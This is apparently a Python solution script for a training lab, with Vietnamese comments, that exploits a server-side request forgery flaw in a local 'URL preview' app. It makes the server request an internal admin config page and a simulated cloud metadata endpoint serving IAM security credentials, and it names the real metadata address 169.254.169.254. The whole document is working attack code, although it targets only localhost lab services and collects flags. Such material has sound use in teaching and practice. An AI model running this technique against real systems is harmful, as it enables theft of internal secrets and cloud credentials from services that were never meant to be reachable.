#!/usr/bin/env python3
"""
Exploit lab 6.1 - SSRF co ban.

App chi cho "xem truoc URL" ngoai, nhung vi khong kiem host/IP noi bo, ta ep
server tu goi toi cac dich vu NOI BO ma Internet khong voi toi:

  Buoc 1: dung binh thuong (lay URL cua chinh app) de thay co che.
  Buoc 2: SSRF toi 127.0.0.1:8055 (admin noi bo) -> doc config bi mat.
  Buoc 3: SSRF toi metadata cloud (gia lap 127.0.0.1:8056) -> doc credentials.
"""
import json
import re
import sys
import requests

BASE = "http://127.0.0.1:8054"


def fetch(url):
    r = requests.get("%s/fetch" % BASE, params={"url": url}, timeout=5)
    return r.json()


def grab_flag(obj):
    m = re.search(r"FLAG\{[^}]+\}", json.dumps(obj))
    return m.group(0) if m else None


def main():
    flags = []

    print("[*] Buoc 1: dung binh thuong - lay URL cua chinh app")
    print("   ", fetch("http://127.0.0.1:8054/ping"))

    print("\n[*] Buoc 2: SSRF -> dich vu admin NOI BO 127.0.0.1:8055")
    res = fetch("http://127.0.0.1:8055/admin/config")
    print("   ", res)
    f = grab_flag(res)
    if f:
        flags.append(f)

    print("\n[*] Buoc 3: SSRF -> metadata cloud (gia lap 127.0.0.1:8056)")
    print("    (that la http://169.254.169.254/latest/meta-data/...)")
    res = fetch("http://127.0.0.1:8056/latest/meta-data/"
                "iam/security-credentials/webapp-role")
    print("   ", res)
    f = grab_flag(res)
    if f:
        flags.append(f)

    print("\n[+] Flags:")
    for f in flags:
        print("    ", f)
    sys.exit(0 if len(flags) == 2 else 1)


if __name__ == "__main__":
    main()